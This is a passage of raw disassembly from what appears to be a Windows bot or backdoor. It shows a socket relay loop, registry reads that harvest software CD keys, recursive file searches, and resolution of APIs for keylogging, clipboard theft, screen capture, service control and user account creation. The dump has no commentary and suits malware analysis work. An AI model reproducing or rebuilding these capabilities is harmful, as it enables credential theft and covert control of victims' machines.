sub_4084D3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_408511 inc ecx add eax, 4 cmp ecx, 1 jb short loc_408501 loc_408511: ; CODE XREF: sub_4084D3+33j cmp ecx, 1 jnz short loc_408526 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408526: ; CODE XREF: sub_4084D3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43A380 ; select lea eax, [ebp+var_104] push eax push ebx call dword_43A290 ; __WSAFDIsSet test eax, eax jz short loc_408586 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43A3B0 ; recv cmp eax, 0FFFFFFFFh jz short loc_4085CE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_4085CE loc_408586: ; CODE XREF: sub_4084D3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43A290 ; __WSAFDIsSet test eax, eax jz loc_4084E9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43A3B0 ; recv cmp eax, 0FFFFFFFFh jz short loc_4085CE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz loc_4084E9 loc_4085CE: ; CODE XREF: sub_4084D3+9Aj ; sub_4084D3+B1j ... pop edi pop esi pop ebx leave retn sub_4084D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085D3 proc near ; CODE XREF: sub_40CE55+52B0p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_427E94, ebx mov [ebp+var_C], 80h jz loc_408785 push esi push edi mov eax, offset off_427E94 mov esi, offset dword_427EA0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408603: ; CODE XREF: sub_4085D3+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43A408 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43A2A4 ; RegQueryValueExA test eax, eax jnz loc_40876B mov eax, [esi] cmp eax, ebx jz loc_40872F push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4154E7 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_415BE8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_40876B push eax loc_40867C: ; CODE XREF: sub_4085D3+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41713C add esp, 0Ch test eax, eax jz loc_408724 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_4086A9 push [ebp+var_8] jmp short loc_40867C ; --------------------------------------------------------------------------- loc_4086A9: ; CODE XREF: sub_4085D3+CFj push 3Dh push dword ptr [esi+4] call sub_417080 pop ecx test eax, eax pop ecx jz short loc_4086E8 lea eax, [ebp+var_70] push offset asc_429098 ; "=" push eax call sub_416C98 push offset asc_429098 ; "=" push ebx call sub_416C98 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 add esp, 20h jmp short loc_4086FF ; --------------------------------------------------------------------------- loc_4086E8: ; CODE XREF: sub_4085D3+E4j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 add esp, 10h loc_4086FF: ; CODE XREF: sub_4085D3+113j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_2F0] push eax call sub_40B16D add esp, 18h loc_408724: ; CODE XREF: sub_4085D3+B9j push [ebp+var_8] call sub_415B40 pop ecx jmp short loc_40876B ; --------------------------------------------------------------------------- loc_40872F: ; CODE XREF: sub_4085D3+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154E7 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_2F0] push eax call sub_40B16D add esp, 28h loc_40876B: ; CODE XREF: sub_4085D3+60j ; sub_4085D3+A2j ... push [ebp+var_4] call dword_43A374 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408603 pop edi pop esi loc_408785: ; CODE XREF: sub_4085D3+19j pop ebx leave retn sub_4085D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408788 proc near ; DATA XREF: sub_40CE55+3C21o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_415CF0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4087DD lea eax, [ebp+var_114] push eax call sub_415CF0 pop ecx mov [ebp+eax+var_115], bl loc_4087DD: ; CODE XREF: sub_408788+3Fj lea eax, [ebp+var_218] push eax push offset unk_4290F0 lea eax, [ebp+var_49C] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408822 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D4C add esp, 14h loc_408822: ; CODE XREF: sub_408788+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_4088A0 push eax lea eax, [ebp+var_49C] push offset unk_4290BC push eax call sub_4154E7 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_408880 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D4C add esp, 14h loc_408880: ; CODE XREF: sub_408788+D6j lea eax, [ebp+var_49C] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_408788 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088A0 proc near ; CODE XREF: sub_408788+B9p ; sub_4088A0+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_415A6A mov edi, dword_4210A8 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_40895D loc_4088EC: ; CODE XREF: sub_4088A0+BBj test [ebp+var_144], 10h jz short loc_408949 cmp [ebp+var_118], 2Eh jnz short loc_408910 cmp [ebp+var_117], 0 jz short loc_408949 cmp [ebp+var_117], 2Eh jz short loc_408949 loc_408910: ; CODE XREF: sub_4088A0+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_415A6A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4088A0 add esp, 2Ch mov [ebp+arg_14], eax loc_408949: ; CODE XREF: sub_4088A0+53j ; sub_4088A0+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_4088EC loc_40895D: ; CODE XREF: sub_4088A0+4Aj push [ebp+var_4] call dword_421098 ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4089E3 loc_408994: ; CODE XREF: sub_4088A0+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_415A6A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_408994 loc_4089E3: ; CODE XREF: sub_4088A0+F2j push esi call dword_421098 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_4088A0 endp ; =============== S U B R O U T I N E ======================================= sub_4089F2 proc near ; CODE XREF: sub_40C682+55p push ebx push ebp mov ebp, dword_4210C8 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4210C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_408B12 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43A444, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_43A3B8, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_43A39C, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_43A2B8, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43A264, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43A294, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43A308, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_43A3F8, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43A454, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43A2C4, eax call esi ; GetProcAddress cmp dword_43A444, ebx mov dword_43A2AC, eax jz short loc_408AF0 cmp dword_43A3B8, ebx jz short loc_408AF0 cmp dword_43A39C, ebx jz short loc_408AF0 cmp dword_43A2B8, ebx jz short loc_408AF0 cmp dword_43A294, ebx jz short loc_408AF0 cmp dword_43A308, ebx jz short loc_408AF0 cmp dword_43A3F8, ebx jz short loc_408AF0 cmp dword_43A454, ebx jz short loc_408AF0 cmp dword_43A2C4, ebx jz short loc_408AF0 cmp eax, ebx jnz short loc_408AFA loc_408AF0: ; CODE XREF: sub_4089F2+B8j ; sub_4089F2+C0j ... mov dword_43A458, 1 loc_408AFA: ; CODE XREF: sub_4089F2+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43A3D0, eax jz short loc_408B27 push 1 push ebx call eax jmp short loc_408B27 ; --------------------------------------------------------------------------- loc_408B12: ; CODE XREF: sub_4089F2+1Dj call dword_421088 ; RtlGetLastWin32Error mov dword_43A45C, eax mov dword_43A458, 1 loc_408B27: ; CODE XREF: sub_4089F2+117j ; sub_4089F2+11Ej push offset aUser32_dll ; "user32.dll" call dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_408C3C push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_43A3F4, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_43A3A4, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43A338, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43A448, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43A368, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43A388, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43A3EC, eax call esi ; GetProcAddress cmp dword_43A3F4, ebx mov dword_43A2E0, eax jz short loc_408BE0 cmp dword_43A3A4, ebx jz short loc_408BE0 cmp dword_43A338, ebx jz short loc_408BE0 cmp dword_43A448, ebx jz short loc_408BE0 cmp dword_43A368, ebx jz short loc_408BE0 cmp dword_43A388, ebx jz short loc_408BE0 cmp dword_43A3EC, ebx jz short loc_408BE0 cmp eax, ebx jnz short loc_408BEA loc_408BE0: ; CODE XREF: sub_4089F2+1B8j ; sub_4089F2+1C0j ... mov dword_43A460, 1 loc_408BEA: ; CODE XREF: sub_4089F2+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_43A364, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43A278, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43A334, eax call esi ; GetProcAddress cmp dword_43A364, ebx mov dword_43A320, eax jz short loc_408C47 cmp dword_43A278, ebx jz short loc_408C47 cmp dword_43A334, ebx jz short loc_408C47 cmp eax, ebx jnz short loc_408C51 jmp short loc_408C47 ; --------------------------------------------------------------------------- loc_408C3C: ; CODE XREF: sub_4089F2+144j call dword_421088 ; RtlGetLastWin32Error mov dword_43A464, eax loc_408C47: ; CODE XREF: sub_4089F2+232j ; sub_4089F2+23Aj ... mov dword_43A460, 1 loc_408C51: ; CODE XREF: sub_4089F2+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408DEC push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43A408, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43A34C, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43A3BC, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43A2A4, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43A304, eax call esi ; GetProcAddress cmp dword_43A408, ebx mov dword_43A374, eax jz short loc_408CDC cmp dword_43A34C, ebx jz short loc_408CDC cmp dword_43A3BC, ebx jz short loc_408CDC cmp dword_43A2A4, ebx jz short loc_408CDC cmp dword_43A304, ebx jz short loc_408CDC cmp eax, ebx jnz short loc_408CE6 loc_408CDC: ; CODE XREF: sub_4089F2+2C4j ; sub_4089F2+2CCj ... mov dword_43A468, 1 loc_408CE6: ; CODE XREF: sub_4089F2+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43A37C, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43A354, eax call esi ; GetProcAddress cmp dword_43A37C, ebx mov dword_43A404, eax jz short loc_408D21 cmp dword_43A354, ebx jz short loc_408D21 cmp eax, ebx jnz short loc_408D2B loc_408D21: ; CODE XREF: sub_4089F2+321j ; sub_4089F2+329j mov dword_43A468, 1 loc_408D2B: ; CODE XREF: sub_4089F2+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43A38C, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_43A280, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_43A288, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_43A2E8, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43A2EC, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43A29C, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43A358, eax call esi ; GetProcAddress cmp dword_43A38C, ebx mov dword_43A28C, eax jz short loc_408DCF cmp dword_43A280, ebx jz short loc_408DCF cmp dword_43A288, ebx jz short loc_408DCF cmp dword_43A2E8, ebx jz short loc_408DCF cmp dword_43A2EC, ebx jz short loc_408DCF cmp dword_43A29C, ebx jz short loc_408DCF cmp dword_43A358, ebx jz short loc_408DCF cmp eax, ebx jnz short loc_408DD9 loc_408DCF: ; CODE XREF: sub_4089F2+3A7j ; sub_4089F2+3AFj ... mov dword_43A468, 1 loc_408DD9: ; CODE XREF: sub_4089F2+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43A284, eax jnz short loc_408E01 jmp short loc_408DF7 ; --------------------------------------------------------------------------- loc_408DEC: ; CODE XREF: sub_4089F2+26Aj call dword_421088 ; RtlGetLastWin32Error mov dword_43A46C, eax loc_408DF7: ; CODE XREF: sub_4089F2+3F8j mov dword_43A468, 1 loc_408E01: ; CODE XREF: sub_4089F2+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408ECD push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43A384, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43A3DC, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43A3E4, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43A3A0, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_43A2C8, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_43A274, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_43A3E0, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_43A260, eax call esi ; GetProcAddress cmp dword_43A384, ebx mov dword_43A2FC, eax jz short loc_408ED8 cmp dword_43A3DC, ebx jz short loc_408ED8 cmp dword_43A3E4, ebx jz short loc_408ED8 cmp dword_43A3A0, ebx jz short loc_408ED8 cmp dword_43A2C8, ebx jz short loc_408ED8 cmp dword_43A274, ebx jz short loc_408ED8 cmp dword_43A3E0, ebx jz short loc_408ED8 cmp dword_43A260, ebx jz short loc_408ED8 cmp eax, ebx jnz short loc_408EE2 jmp short loc_408ED8 ; --------------------------------------------------------------------------- loc_408ECD: ; CODE XREF: sub_4089F2+41Aj call dword_421088 ; RtlGetLastWin32Error mov dword_43A474, eax loc_408ED8: ; CODE XREF: sub_4089F2+49Bj ; sub_4089F2+4A3j ... mov dword_43A470, 1 loc_408EE2: ; CODE XREF: sub_4089F2+4D7j mov ebp, dword_4210C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40919E push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_43A310, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43A43C, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43A2B4, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43A290, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43A344, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_43A32C, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_43A2F8, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43A418, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_43A434, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43A340, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_43A424, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_43A3D8, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_43A398, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_43A394, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_43A2D4, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_43A2CC, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_43A3E8, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_43A3FC, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_43A3B0, eax call esi ; GetProcAddress mov dword_43A370, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_43A3C4, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_43A380, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_43A3C0, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_43A42C, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_43A378, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_43A33C, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_43A3AC, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43A41C, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_43A350, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_43A2F4, eax call esi ; GetProcAddress cmp dword_43A310, ebx mov dword_43A430, eax jz loc_4091A9 cmp dword_43A43C, ebx jz loc_4091A9 cmp dword_43A2B4, ebx jz loc_4091A9 cmp dword_43A344, ebx jz loc_4091A9 cmp dword_43A32C, ebx jz loc_4091A9 cmp dword_43A2F8, ebx jz loc_4091A9 cmp dword_43A418, ebx jz loc_4091A9 cmp dword_43A434, ebx jz loc_4091A9 cmp dword_43A340, ebx jz loc_4091A9 cmp dword_43A424, ebx jz loc_4091A9 cmp dword_43A3D8, ebx jz loc_4091A9 cmp dword_43A398, ebx jz loc_4091A9 cmp dword_43A394, ebx jz loc_4091A9 cmp dword_43A2D4, ebx jz short loc_4091A9 cmp dword_43A3E8, ebx jz short loc_4091A9 cmp dword_43A3FC, ebx jz short loc_4091A9 cmp dword_43A3B0, ebx jz short loc_4091A9 cmp dword_43A370, ebx jz short loc_4091A9 cmp dword_43A3C4, ebx jz short loc_4091A9 cmp dword_43A380, ebx jz short loc_4091A9 cmp dword_43A3C0, ebx jz short loc_4091A9 cmp dword_43A42C, ebx jz short loc_4091A9 cmp dword_43A378, ebx jz short loc_4091A9 cmp dword_43A33C, ebx jz short loc_4091A9 cmp dword_43A3AC, ebx jz short loc_4091A9 cmp dword_43A41C, ebx jz short loc_4091A9 cmp dword_43A350, ebx jz short loc_4091A9 cmp eax, ebx jnz short loc_4091B3 jmp short loc_4091A9 ; --------------------------------------------------------------------------- loc_40919E: ; CODE XREF: sub_4089F2+501j call dword_421088 ; RtlGetLastWin32Error mov dword_43A47C, eax loc_4091A9: ; CODE XREF: sub_4089F2+6A0j ; sub_4089F2+6ACj ... mov dword_43A478, 1 loc_4091B3: ; CODE XREF: sub_4089F2+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4092B8 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43A2DC, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43A268, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43A360, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43A314, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_43A36C, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43A330, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43A2A8, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43A2A0, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43A2B0, eax call esi ; GetProcAddress cmp dword_43A2DC, ebx mov ecx, dword_43A330 mov dword_43A3CC, eax jz short loc_409294 cmp dword_43A268, ebx jz short loc_409294 cmp dword_43A360, ebx jz short loc_409294 cmp dword_43A314, ebx jz short loc_409294 cmp dword_43A36C, ebx jz short loc_409294 cmp ecx, ebx jz short loc_409294 cmp dword_43A2A8, ebx jz short loc_409294 cmp dword_43A2A0, ebx jz short loc_409294 cmp dword_43A2B0, ebx jz short loc_409294 cmp eax, ebx jnz short loc_40929E loc_409294: ; CODE XREF: sub_4089F2+860j ; sub_4089F2+868j ... mov dword_43A480, 1 loc_40929E: ; CODE XREF: sub_4089F2+8A0j cmp ecx, ebx jz short loc_4092D3 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_43A348, eax jnz short loc_4092D3 jmp short loc_4092CD ; --------------------------------------------------------------------------- loc_4092B8: ; CODE XREF: sub_4089F2+7CCj call dword_421088 ; RtlGetLastWin32Error mov dword_43A484, eax mov dword_43A480, 1 loc_4092CD: ; CODE XREF: sub_4089F2+8C4j mov dword_43A348, ebx loc_4092D3: ; CODE XREF: sub_4089F2+8AEj ; sub_4089F2+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40931D push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43A324, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43A450, eax call esi ; GetProcAddress cmp dword_43A324, ebx mov dword_43A2BC, eax jz short loc_409328 cmp dword_43A450, ebx jz short loc_409328 cmp eax, ebx jnz short loc_409332 jmp short loc_409328 ; --------------------------------------------------------------------------- loc_40931D: ; CODE XREF: sub_4089F2+8ECj call dword_421088 ; RtlGetLastWin32Error mov dword_43A48C, eax loc_409328: ; CODE XREF: sub_4089F2+91Bj ; sub_4089F2+923j ... mov dword_43A488, 1 loc_409332: ; CODE XREF: sub_4089F2+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409428 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_43A298, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43A270, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43A2E4, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43A318, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43A428, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43A2D0, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_43A27C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43A26C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43A300, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43A3F0, eax call esi ; GetProcAddress cmp dword_43A298, ebx mov dword_43A3A8, eax jz short loc_409433 cmp dword_43A270, ebx jz short loc_409433 cmp dword_43A2E4, ebx jz short loc_409433 cmp dword_43A318, ebx jz short loc_409433 cmp dword_43A428, ebx jz short loc_409433 cmp dword_43A2D0, ebx jz short loc_409433 cmp dword_43A27C, ebx jz short loc_409433 cmp dword_43A26C, ebx jz short loc_409433 cmp dword_43A300, ebx jz short loc_409433 cmp dword_43A3F0, ebx jz short loc_409433 cmp eax, ebx jnz short loc_40943D jmp short loc_409433 ; --------------------------------------------------------------------------- loc_409428: ; CODE XREF: sub_4089F2+94Bj call dword_421088 ; RtlGetLastWin32Error mov dword_43A494, eax loc_409433: ; CODE XREF: sub_4089F2+9E6j ; 